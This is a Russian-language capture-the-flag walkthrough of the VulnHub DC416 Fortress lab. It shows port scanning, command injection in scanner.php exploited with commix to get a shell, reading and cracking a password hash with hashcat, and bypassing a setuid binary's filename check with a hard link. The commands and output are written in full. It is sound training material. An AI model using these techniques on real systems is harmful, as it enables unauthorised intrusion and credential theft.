VulnHub: Разбираем самый короткий квест DC416 Fortress
Продолжаем разбор CTF с конференции DefCon Toronto’s. Задания предоставлены командой VulnHub, за что им огромное спасибо. На этот раз остановимся на небольшом DC416 Fortress, тут всего 3 флага. Так что будет не сложно.
Ниже, вы можете ознакомиться с предыдущими разборами:
- DC416 Dick Dastardly
- DC416 Basement
Начнём
Как обычно, после запуска виртуальной машины, смотрим открытые порты:
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
Starting Nmap 7.01 (nmap.org) at 2017–01–09 23:55 MSK
Nmap scan report for 192.168.1.192
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20160310; protocol 2.0)
80/tcp open http Apache httpd 2.4.23 ((FreeBSD) OpenSSL/1.0.2j-freebsd PHP/5.6.27)
443/tcp open ssl/http Apache httpd 2.4.23 ((FreeBSD) OpenSSL/1.0.2j-freebsd PHP/5.6.27)
MAC Address: 08:00:27:0E: F4: C6 (Oracle VirtualBox virtual NIC)
Service Info: OS: FreeBSD; CPE: cpe:/o: freebsd: freebsd
Flag 1
Dirsearch нашел 1 единственный скрипт, что в прочем не удивительно:
$ sudo dirsearch -u 'https://192.168.1.192' -e php,bak,html,txt,jpg -w /usr/share/dirb/wordlists/big.txt -r -f -x 403
Переходим к нему, и видим форму для ввода IP-адреса, и результат сканирования nmap'ом:
Скормим эту форму Commix, и посмотрим что он найдёт:
$ commix -u 'https://192.168.1.192/scanner.php' --data='host=127.0.0.1'
Инъекция выполнена успешна, commix любезно предоставил нам шелл. Осмотревшись в системе замечаем пару подозрительных директорий, в одной из которых и лежит флаг:
commix(os_shell) > ls
index.html k1ngd0m_k3yz logo.png s1kr3t scanner.php styles.csscommix(os_shell) > file s1kr3t
s1kr3t: directorycommix(os_shell) > ls s1kr3t
flag.txtcommix(os_shell) > cat s1kr3t/flag.txt
FLAG{n0_one_br3aches_teh_f0rt}
Flag 2
Во второй директории нас ожидает хеш пароля пользователя craven:
commix(os_shell) > ls k1ngd0m_k3yz
master passwdcommix(os_shell) > cat k1ngd0m_k3yz/master
craven: $6$qAgPM2TEordSoFnH$4uPUAhB.9rORkWExA8jI0Sbwn0Bj50KAK0tJ4rkrUrIkP6v.gE/6Fw9/yn1Ejl2TedyN5ziUz8N0unsHocuks.:1002:1002::0:0: User &:/home/craven:/bin/shcommix(os_shell) > cat k1ngd0m_k3yz/passwd
craven:*:1002:1002: User &:/home/craven:/bin/sh
У нас есть хеш пароля. Осмотрев домашнюю директорию пользователя, находим там подсказку к его восстановлению:
commix(os_shell) > ls -l /usr/home/craven
total 24
-r-------- 1 craven craven 46 Nov 6 01:30 flag.txt
-rw-r--r-- 1 craven craven 119 Nov 5 02:23 hint.txt
-rw-r--r-- 1 craven craven 77 Nov 5 02:20 reminders.txtcommix(os_shell) > cat /home/craven/hint.txt
Keep forgetting my password, so I made myself a hint. Password is three digits followed by my pet’s name and a symbol.commix(os_shell) > cat /home/craven/reminders.txt
To buy: index.html k1ngd0m_k3yz logo.png s1kr3t scanner.php styles.css skim milk index.html k1ngd0m_k3yz logo.png s1kr3t scanner.php styles.css organic free-run eggs index.html k1ngd0m_k3yz logo.png s1kr3t scanner.php styles.css dog bone for qwerty index.html k1ngd0m_k3yz logo.png s1kr3t scanner.php styles.css sriracha
Удалив мусор получаем строку:
To buy: skim milk organic free-run eggs dog bone for qwerty sriracha
Мы знаем кличку собаки, дело за малым. Запустив john или hashcat, восстанавливаем пароль:
$ sudo /opt/cudaHashcat/cudaHashcat32.bin -m 1800 -a 3 hash.txt ?d?d?dqwerty?s
$6$qAgPM2TEordSoFnH$4uPUAhB.9rORkWExA8jI0Sbwn0Bj50KAK0tJ4rkrUrIkP6v.gE/6Fw9/yn1Ejl2TedyN5ziUz8N0unsHocuks.: 931qwerty?
Отлично, авторизуемся по ssh, и забираем второй флаг:
$ ssh craven@192.168.1.192
$ pwd
/usr/home/craven
$ id
uid=1002(craven) gid=1002(craven) groups=1002(craven)
$ cat flag.txt
FLAG{w0uld_u_lik3_som3_b33r_with_ur_r3d_PiLL}
Flag 3
В домашней директории пользователя craven, зачем-то оставлен файл с настройками инициализации gdb:
$ ls -ahl
...
-rw-r--r-- 1 craven craven 60B Nov 7 20:36 .gdbinit
С довольно интересным содержимым:
$ cat .gdbinit
source /usr/local/share/peda/peda.py
br *0x0000000000400904
Приятный сюрприз, уже готовый брейкпоинт и peda. Однако не всё так просто, оказалось что pedа до нас всё же удалили… После непродолжительного поиска, находим нашу жертву отладки:
$ ls -ahl /home/vulnhub/
-r-------- 1 vulnhub vulnhub 26B Nov 8 20:08 flag.txt
-rwsr-xr-x 1 vulnhub vulnhub 8.8K Nov 8 20:15 reader
Файл небольшой, и судя по всему именно он позволит получить последний флаг. Посмотрим что внутри:
$ gdb /home/vulnhub/reader
Функция main
(gdb) disassemble main
End of assembler dump.
Dump of assembler code for function main:
0x00000000004009a0 : push %rbp
0x00000000004009a1 : mov %rsp,%rbp
0x00000000004009a4 : sub $0x150,%rsp
0x00000000004009ab : movl $0x0,-0x4(%rbp)
0x00000000004009b2 : mov %edi,-0x8(%rbp)
0x00000000004009b5 : mov %rsi,-0x10(%rbp)
0x00000000004009b9 : mov %rdx,-0x18(%rbp)
0x00000000004009bd : cmpl $0x1,-0x8(%rbp)
0x00000000004009c1 : jne 0x4009ef
0x00000000004009c7 : mov $0x400bd6,%rdi
0x00000000004009d1 : mov -0x10(%rbp),%rax
0x00000000004009d5 : mov (%rax),%rsi
0x00000000004009d8 : mov $0x0,%al
0x00000000004009da : callq 0x40067c
0x00000000004009df : mov $0x1,%edi
0x00000000004009e4 : mov %eax,-0x114(%rbp)
0x00000000004009ea : callq 0x40070c
0x00000000004009ef : lea -0x108(%rbp),%rsi
0x00000000004009f6 : mov -0x10(%rbp),%rax
0x00000000004009fa : mov 0x8(%rax),%rdi
0x00000000004009fe : callq 0x4006cc
0x0000000000400a03 : cmp $0x0,%eax
0x0000000000400a06 : jge 0x400a18
0x0000000000400a0c : movl $0x1,-0x4(%rbp)
0x0000000000400a13 : jmpq 0x400b84
0x0000000000400a18 : mov $0x400be9,%rdi
0x0000000000400a22 : mov $0x0,%al
0x0000000000400a24 : callq 0x40067c
0x0000000000400a29 : mov $0x1,%edi
0x0000000000400a2e : mov %eax,-0x118(%rbp)
0x0000000000400a34 : callq 0x4006dc
0x0000000000400a39 : movzwl -0x100(%rbp),%edi
0x0000000000400a40 : and $0xf000,%edi
0x0000000000400a46 : cmp $0xa000,%edi
0x0000000000400a4c : mov %eax,-0x11c(%rbp)
0x0000000000400a52 : jne 0x400a7b
0x0000000000400a58 : mov $0x400c00,%rdi
0x0000000000400a62 : mov $0x0,%al
0x0000000000400a64 : callq 0x40067c
0x0000000000400a69 : movl $0x0,-0x4(%rbp)
0x0000000000400a70 : mov %eax,-0x120(%rbp)
0x0000000000400a76 : jmpq 0x400b84
0x0000000000400a7b : mov $0x400c1d,%rdi
0x0000000000400a85 : mov $0x0,%al
0x0000000000400a87 : callq 0x40067c
0x0000000000400a8c : mov $0x400c37,%rsi
0x0000000000400a96 : mov -0x10(%rbp),%rdi
0x0000000000400a9a : mov 0x8(%rdi),%rdi
0x0000000000400a9e : mov %eax,-0x124(%rbp)
0x0000000000400aa4 : callq 0x4006ec
0x0000000000400aa9 : cmp $0x0,%rax
0x0000000000400aad : je 0x400ad6
0x0000000000400ab3 : mov $0x400c3c,%rdi
0x0000000000400abd : mov $0x0,%al
0x0000000000400abf : callq 0x40067c
0x0000000000400ac4 : movl $0xffffffff,-0x4(%rbp)
0x0000000000400acb : mov %eax,-0x128(%rbp)
0x0000000000400ad1 : jmpq 0x400b84
0x0000000000400ad6 : mov $0x400c60,%rdi
0x0000000000400ae0 : mov $0x0,%al
0x0000000000400ae2 : callq 0x40067c
0x0000000000400ae7 : mov $0x400c82,%rsi
0x0000000000400af1 : xor %ecx,%ecx
0x0000000000400af3 : mov $0x64,%edx
0x0000000000400af8 : lea -0x90(%rbp),%rdi
0x0000000000400aff : mov %rsi,-0x130(%rbp)
0x0000000000400b06 : mov %ecx,%esi
0x0000000000400b08 : mov %eax,-0x134(%rbp)
0x0000000000400b0e : callq 0x4006fc
0x0000000000400b13 : mov -0x10(%rbp),%rdx
0x0000000000400b17 : mov 0x8(%rdx),%rdi
0x0000000000400b1b : mov -0x130(%rbp),%rsi
0x0000000000400b22 : callq 0x40071c
0x0000000000400b27 : mov $0x64,%esi
0x0000000000400b2c : lea -0x90(%rbp),%rdi
0x0000000000400b33 : mov %rax,-0x20(%rbp)
0x0000000000400b37 : mov -0x20(%rbp),%rdx
0x0000000000400b3b : callq 0x40068c
0x0000000000400b40 : mov $0x400c84,%rdi
0x0000000000400b4a : mov %rax,-0x140(%rbp)
0x0000000000400b51 : callq 0x40072c
0x0000000000400b56 : lea -0x90(%rbp),%rdi
0x0000000000400b5d : mov %eax,-0x144(%rbp)
0x0000000000400b63 : callq 0x40072c
0x0000000000400b68 : mov -0x20(%rbp),%rdi
0x0000000000400b6c : mov %eax,-0x148(%rbp)
0x0000000000400b72 : callq 0x4006bc
0x0000000000400b77 : movl $0x0,-0x4(%rbp)
0x0000000000400b7e : mov %eax,-0x14c(%rbp)
0x0000000000400b84 : mov -0x4(%rbp),%eax
0x0000000000400b87 : add $0x150,%rsp
0x0000000000400b8e : pop %rbp
0x0000000000400b8f : retq
End of assembler dump.
Разберём что тут происходит:
- 0×4009bd — проверяется количество переданных аргументов и судя по коду ниже, запрашивается как раз файл, который будет прочитан;
- 0×4009fe — запрашивается информация об этом файле;
- 0×400aa4 — вызывается функция strstr, которая сравнивает имя полученного файла со значением по адресу 0×400c37 → 0×67616c66 → galf, т.е. как раз со словом flag;
- 0×400ad1 — выход, если имя файла содержит «flag»;
- 0×400b3b — считывается 0×64 байт из этого файла и затем выводится на экран.
Самым простым и очевидным вариантом тут, будет создать ссылку на файл flag.txt и передать её в качестве аргумента. Пробуем:
$ ln /home/vulnhub/flag.txt /tmp/qaz
$ /home/vulnhub/reader /tmp/qaz
Checking file type…
Checking if flag file…
Great! Printing file contents…
Win, here’s your flag:
FLAG{its_A_ph0t0_ph1ni5h}
Это сработало. Последний флаг у нас. Ещё один квест пройден!